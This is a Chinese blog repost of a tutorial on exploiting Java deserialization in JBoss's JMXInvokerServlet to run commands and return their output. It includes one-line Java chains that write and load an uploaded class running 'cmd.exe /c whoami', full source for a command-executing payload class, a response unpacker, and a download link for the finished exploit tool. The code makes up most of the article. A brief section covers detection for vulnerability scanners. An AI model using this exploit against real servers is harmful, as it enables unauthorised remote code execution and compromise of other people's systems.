Java反序列化漏洞执行命令回显实现及Exploit下载

简介: 原文地址:http://www.freebuf.com/tools/88908.html 本文原创作者:rebeyond文中提及的部分技术、工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用!0×00 前言前段时间java 的反序列化漏洞吵得沸沸扬扬,从刚开始国外某牛的一个可以执行OS命令的payload生成器,到后来的通过URLClassLoader来加载远程类来反弹shell。

原文地址:http://www.freebuf.com/tools/88908.html

 

本文原创作者:rebeyond

文中提及的部分技术、工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用!

0×00 前言

前段时间java 的反序列化漏洞吵得沸沸扬扬,从刚开始国外某牛的一个可以执行OS命令的payload生成器,到后来的通过URLClassLoader来加载远程类来反弹shell。但是后来公司漏扫需要加规则来识别这种漏洞,而客户的漏扫又时常会工作在纯内网的环境下,因此远程加载类的方法行不通。想到自己写一个利用工具,于是有了下面这篇文章(本文以JBOSS为例)。

0×01目标

1.   EXP只能利用服务器本机的资源,不能加载远程类。
2.   上传任意文件至任意目录。
3.   获取命令执行的回显内容。

0×02实现

EXP只能利用服务器本机的资源,不能加载远程类:

通过对漏洞成因分析可以得知,我们只能通过链式调用来执行java语句。换句话说,我们所想执行的语句必须可以写到一行里面,而且还不能带分号:( 其实这里很好突破,我们只要把我们想要执行的任意代码(无论有多长)在本地编译成class,然后把class字节码上传到服务器就可以了。然后问题又来了,怎么上传呢,上传到什么路径下面呢?上传可以通过FileOutputStream这个类来实现,上传路径就更简单了,直接给FileOutputStream传个“.”过去,上传到程序运行的当前目录下面,一句话代码:new FileOutputStream(“./payload.class”).write(new byte[]{0xXX,0xXX……})。上传的问题解决了,下面执行也就好办了,一句代码:java.net.URLClassLoader. getConstructor(java.net.URL[].class). newInstance(new java.net.URL[] {new java.net.URL("file:./")}). loadClass(“payload”). newInstance(“cmd.exe /c whoami”)。

这样就解决了我们的两个目标,只利用服务器本机资源,不需要联网,可以上传任意文件至任意目录。

获取命令回显内容:

通过对JBOSS中invoker/JMXInvokerServlet的返回结果进行分析,得知返回的是一个 MarshalledValue对象,该对象封装了invoker/JMXInvokerServlet的返回值,如果执行过程中有异常抛出,一个InvocationException对象就会封装在MarshalledValue对象里面。到这里思路就很明确了,java 的异常有个构造函数是可以传String参数的,我们可以把第一步那个class文件中命令执行的结果作为参数构造一个Exception,然后在payload.class最后throw这个Exception,这样这个带有回显内容的Exception就会封装在MarshalledValue对象里面通过http协议返回,我们只要把返回的MarshalledValue对象解包,就可以获取回显的内容了。

下面给出payload.java的源代码:

import java.io.BufferedReader; import java.io.InputStreamReader; public class RunCheckConfig {     public RunCheckConfig(String  args) throws Exception     {         Process proc = Runtime.getRuntime().exec(args);         BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));         StringBuffer sb = new StringBuffer();         String line;         while ((line = br.readLine()) != null)         {             sb.append(line).append("\n");         }         String result = sb.toString();         Exception e=new Exception(result);         throw e;         }     }

  解包程序的源代码:

public static void main(String args[]) throws Exception    {         FileInputStream fis = new FileInputStream("d:/response.bin");          byte TempByte[]=new byte[5000*1000];            int length=fis.read(TempByte);            int ClassStart=0;            for (int i=0;i<length;i++)            {             if (TempByte[i]==0x0d&&TempByte[i+1]==0x0a&&TempByte[i+2]==0x0d&&TempByte[i+3]==0x0a)             {                 System.out.println(i);                 ClassStart=i;                 break;             }            }            byte ClassByte[]=new byte[length-ClassStart-4];            for (int i=0;i<ClassByte.length;i++)            {             ClassByte[i]=TempByte[i+ClassStart+4];            }            fis.close();            TempByte=null;            ByteArrayInputStream ai=new ByteArrayInputStream(ClassByte);           ObjectInputStream ois = new ObjectInputStream(ai);            MarshalledValue st1 = (MarshalledValue) ois.readObject();           InvocationException o=(InvocationException) st1.get();           System.out.println(o.getTargetException().getCause().getCause().getCause().getMessage()); }

下面是解包后的截图:

0×03总结

到这里我们本文的三个目标都已经完成了。

对于本文的初衷,如何让漏扫来判断是否存在漏洞,就更简单了,只要一句代码就可以了:new FileOutputStream("\u0000");,然后在返回内容里查找字符串“java.io.FileNotFoundException”,或者像我们前面做的那样,解包然后判断exception的类型是不是java.io.FileNotFoundException。

另外,附上该Exploit的成品截图及下载地址,仅供研究,请勿用于任何非法活动:

下载地址:链接:http://share.weiyun.com/2d8bac0d1a61378f5b0be06a42eca962 (密码:Po4i)

目录
相关文章
|
3月前
|
存储 人工智能 Java
java之通过Http下载文件
本文介绍了使用Java实现通过文件链接下载文件到本地的方法,主要涉及URL、HttpURLConnection及输入输出流的操作。
187 0
|
4月前
|
存储 安全 算法
Java 集合面试题 PDF 下载及高频考点解析
本文围绕Java集合面试题展开,详细解析了集合框架的基本概念、常见集合类的特点与应用场景。内容涵盖`ArrayList`与`LinkedList`的区别、`HashSet`与`TreeSet`的对比、`HashMap`与`ConcurrentHashMap`的线程安全性分析等。通过技术方案与应用实例,帮助读者深入理解集合类的特性和使用场景,提升解决实际开发问题的能力。文末附带资源链接,供进一步学习参考。
99 4
|
5月前
|
Arthas 存储 监控
Arthas heapdump(dump java heap, 类似 jmap 命令的 heap dump 功能)
Arthas heapdump(dump java heap, 类似 jmap 命令的 heap dump 功能)
269 8
|
6月前
|
监控 数据可视化 Java
调试技巧 - 用Linux命令排查Java问题
总的来说,使用Linux命令来排查Java问题,需要一定的实践经验和理论知识。然而,只要我们愿意花时间深入了解这些工具,我们就能够熟练地使用它们来分析和解决问题。此外,这些工具只是帮助我们定位问题,真正解决问题需要我们对Java和JVM有深入的理解,并能够读懂和分析代码。
366 13
|
8月前
|
Java
Java中执行命令并使用指定配置文件的最佳实践
通过本文的介绍,您可以了解如何在Java中使用 `ProcessBuilder`执行系统命令,并通过指定配置文件、设置环境变量和重定向输入输出流来控制命令的行为。通过这些最佳实践,可以确保您的Java应用程序在执行系统命令时更加健壮和灵活。
162 7
|
8月前
|
Linux 网络安全 Docker
尼恩一键开发环境: vagrant+java+springcloud+redis+zookeeper镜像下载(&制作详解)
尼恩提供了一系列文章,旨在帮助开发者轻松搭建一键开发环境,涵盖Java分布式、高并发场景下的多种技术组件安装与配置。内容包括但不限于Windows和CentOS虚拟机的安装与排坑指南、MySQL、Kafka、Redis、Zookeeper等关键组件在Linux环境下的部署教程,并附带详细的视频指导。此外,还特别介绍了Vagrant这一虚拟环境部署工具,
尼恩一键开发环境: vagrant+java+springcloud+redis+zookeeper镜像下载(&制作详解)
|
8月前
|
消息中间件 存储 NoSQL
java连接redis和基础操作命令
通过以上内容,您可以掌握在Java中连接Redis以及进行基础操作的基本方法,进而在实际项目中灵活应用。
404 30
|
10月前
|
Java
java实现从HDFS上下载文件及文件夹的功能,以流形式输出,便于用户自定义保存任何路径下
java实现从HDFS上下载文件及文件夹的功能,以流形式输出,便于用户自定义保存任何路径下
281 34
|
11月前
|
SQL 安全 Java
JavaSecLab 一款综合Java漏洞平台
JavaSecLab是一款综合型Java漏洞学习平台,涵盖多种漏洞场景,提供漏洞代码、修复示例、安全编码规范及友好UI。适用于安全服务、甲方安全培训、安全研究等领域,助于理解漏洞原理与修复方法。支持跨站脚本、SQL注入等多种漏洞类型……
289 2
|
11月前
|
Java Shell Windows
java Runtime.exec()执行shell/cmd命令:常见的几种陷阱与一种完善实现
java Runtime.exec()执行shell/cmd命令:常见的几种陷阱与一种完善实现
192 1

热门文章

最新文章